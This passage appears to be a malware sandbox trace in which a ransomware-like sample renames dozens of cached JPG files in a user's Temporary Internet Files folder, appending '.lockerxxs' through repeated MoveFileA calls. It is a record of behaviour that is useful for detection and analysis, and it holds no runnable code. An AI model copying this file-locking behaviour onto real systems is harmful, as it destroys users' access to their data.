MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg.lockerxxs")) returned 1 [0081.791] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg.lockerxxs")) returned 1 [0081.794] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg.lockerxxs")) returned 1 [0081.797] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg.lockerxxs")) returned 1 [0081.800] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg.lockerxxs")) returned 1 [0081.803] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg.lockerxxs")) returned 1 [0081.806] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg.lockerxxs")) returned 1 [0081.811] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg.lockerxxs")) returned 1 [0081.814] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg.lockerxxs")) returned 1 [0081.817] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg.lockerxxs")) returned 1 [0081.825] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg.lockerxxs")) returned 1 [0081.828] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg.lockerxxs")) returned 1 [0081.832] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg.lockerxxs")) returned 1 [0081.836] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg.lockerxxs")) returned 1 [0081.839] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg.lockerxxs")) returned 1 [0081.842] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg.lockerxxs")) returned 1 [0081.845] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg.lockerxxs")) returned 1 [0081.850] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg.lockerxxs")) returned 1 [0081.854] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg.lockerxxs")) returned 1 [0081.858] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg.lockerxxs")) returned 1 [0081.864] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg.lockerxxs")) returned 1 [0081.867] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg.lockerxxs")) returned 1 [0081.871] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg.lockerxxs")) returned 1 [0081.875] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg.lockerxxs")) returned 1 [0081.879] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg.lockerxxs")) returned 1 [0081.883] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg.lockerxxs")) returned 1 [0081.887] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg.lockerxxs")) returned 1 [0081.890] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg.lockerxxs")) returned 1 [0081.894] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg.lockerxxs")) returned 1 [0081.900] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg.lockerxxs")) returned 1 [0081.904] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg.lockerxxs")) returned 1 [0081.909] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg.lockerxxs")) returned 1 [0081.913] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg.lockerxxs")) returned 1 [0081.917] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg.lockerxxs")) returned 1 [0081.920] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg.lockerxxs")) returned 1 [0081.924] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 